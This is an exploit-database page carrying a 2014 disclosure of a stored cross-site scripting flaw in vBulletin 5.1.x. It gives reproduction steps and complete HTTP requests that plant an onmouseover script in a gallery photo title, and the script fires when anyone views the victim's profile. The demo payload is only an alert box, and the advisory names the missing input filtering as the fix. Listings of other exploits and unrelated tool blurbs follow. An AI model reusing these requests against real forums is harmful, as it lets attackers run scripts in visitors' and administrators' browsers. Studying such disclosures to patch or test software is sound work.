Menu

Search for hundreds of thousands of exploits

"vBulletin 5.1.x - Persistent Cross-Site Scripting"

Author

Exploit author

smash

Platform

Exploit platform

php

Release date

Exploit published date

2014-09-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#Title: vBulletin 5.1.X - Cross Site Scripting
#Date: 05.09.14
#Version: => 5.1.2 (Latest ATM)
#Vendor: vbulletin.com
#Contact: smash [at] devilteam.pl
 
 
 1) Agenda
 
Latest vBulletin forum software suffers on persistent cross site scripting vulnerability, which most likely can be used against every user, such as administrator. Vulnerability is located at user profile page and will be executed whenever someone will visit it.
 
Solution - proper filtration of image title value, in this case, it's about POST title_13 parameter.
 
 
 2) Vulnerability
 
First step to reproduce the vulnerability, is to create a user account. By then, you should visit profile of the victim.
 
Let's take as example following address:
http://vbulletin/member/2-victim
 
1. Click 'Share photo' (camera icon), pick any image you like.
 
2. You may add comment about photo, all you need to do is to add js payload.
 
As comment, use something like - huh" onmouseover=alert(666) xss="
 
Request:
POST /ajax/render/editor_gallery_photoblock HTTP/1.1
Host: vbulletin
 
photocount=1&photos%5B0%5D%5Bfiledataid%5D=13&photos%5B0%5D%5Btitle%5D=cool%22+onmouseover%3Dalert(666)+xssed%3D%22&securitytoken=[TOKEN]
 
3. Send image by clicking on 'Post' button.
 
Request:
POST /create-content/gallery HTTP/1.1
Host: vbulletin
Content-Type: multipart/form-data;
boundary=---------------------------18897880557155952661558219659
Content-Length: 1558
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="securitytoken"
 
1409922799-a28bf50b7ee16f6bfc2b7c652946c366e25574d5
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="text"
 
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="uploadFrom"
 
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="filedataid[]"
 
13
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="title_13"
 
cool" onmouseover=alert(666) xssed="
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="uploadFrom"
 
 
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="securitytoken"
 
[TOKEN]
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="parentid"
 
8
-----------------------------18897880557155952661558219659
Content-Disposition: form-data; name="setfor"
 
5
-----------------------------18897880557155952661558219659--
 
4. Done
 
At this point, victim should be noticed about new activity via 'Messages' tab:
"attacker has left you a visitor message"
 
Basically, you may use this XSS against any profile.
 
Now, whenever someone will visit profile of victim (ie. http://vbulletin/member/2-victim), he should notice image you uploaded. In this case, js is executed while 'onmouseover', so victim need to click on image.
 
When victim will click on image, js will be executed, and popup will appear.
 
Request:
GET /filedata/gallery?nodeid=31&startIndex=0&securitytoken=[TOKEN] HTTP/1.1
Host: vbulletin
 
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
 
{"photos":[{"title":"cool\" onmouseover=alert(666) xssed=\"","url":"http:\/\/vbulletin\/filedata\/fetch?photoid=33","thumb":"vbulletin\/filedata\/fetch?photoid=33&thumb=1","links":"Photos By <a href=\"vbulletin\/member\/2-victim\">victim.victim@tlen.pl<\/a> in <a href=\"javascript:$('#slideshow-dialog').dialog('close');void(0);\">No Title<\/a><br \/>\n"}]}
 
 
 3) TL;DR
 
  - Visit victim profile
  - Upload any image
  - XSS in title (asdf" onmouseover=alert(666) xss=")
  - Send
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2015-09-01 "Edimax BR6228nS/BR6228nC - Multiple Vulnerabilities" webapps hardware smash
2015-08-31 "Edimax PS-1206MF - Web Admin Authentication Bypass" webapps hardware smash
2015-08-31 "PhpWiki 1.5.4 - Multiple Vulnerabilities" webapps php smash
2015-08-28 "Pluck CMS 4.7.3 - Multiple Vulnerabilities" webapps php smash
2015-08-28 "Jenkins 1.626 - Cross-Site Request Forgery / Code Execution" webapps java smash
2014-11-13 "MyBB 1.8.x - Multiple Vulnerabilities" webapps php smash
2014-09-08 "vBulletin 5.1.x - Persistent Cross-Site Scripting" webapps php smash
2014-09-08 "Zen Cart 1.5.3 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "phpMyFAQ 2.8.x - Multiple Vulnerabilities" webapps php smash
2014-09-08 "Atmail Webmail 7.2 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "TP-Link TL-WR841N / TL-WR841ND - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "TP-Link TL-WR340G / TL-WR340GD - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "osCommerce 2.3.4 - Multiple Vulnerabilities" webapps php smash
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.